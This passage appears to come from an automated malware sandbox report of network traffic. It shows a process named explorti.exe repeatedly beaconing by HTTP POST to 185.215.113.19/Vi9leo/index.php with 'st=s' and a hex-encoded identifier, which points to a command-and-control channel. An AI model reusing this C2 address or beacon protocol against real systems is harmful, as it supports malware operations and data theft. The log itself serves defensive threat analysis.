Sep 1, 2024 02:50:06.677148104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49930	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:06.786772013 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49931	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:06.804474115 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:07.569757938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49932	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:07.700153112 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:08.448729038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49933	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:08.467194080 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:09.250776052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49934	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:09.373611927 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:10.115999937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49936	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:10.241592884 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:10.993582964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49937	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:11.014468908 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:11.770752907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49938	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:11.896619081 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:12.638910055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49939	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:12.649568081 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:13.394985914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49940	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:13.508915901 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:14.258331060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49941	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:14.267359018 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:15.010675907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49942	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:15.134772062 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:15.873694897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49943	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:15.881895065 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:16.635591984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49946	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:16.755733013 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:17.505974054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49948	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:17.514112949 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:18.275717974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49949	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:18.396487951 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:19.155812025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49950	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:19.164414883 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:19.909727097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49951	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:20.018533945 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:20.773947001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49952	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:20.783431053 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:21.556848049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49953	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:21.678092003 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:22.423034906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49954	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:22.513689041 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:23.275403976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49955	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:23.411184072 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:24.150049925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49956	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:24.158827066 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:24.940507889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Puub8z+zVuouR5o&MD=HcBh4Tbs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
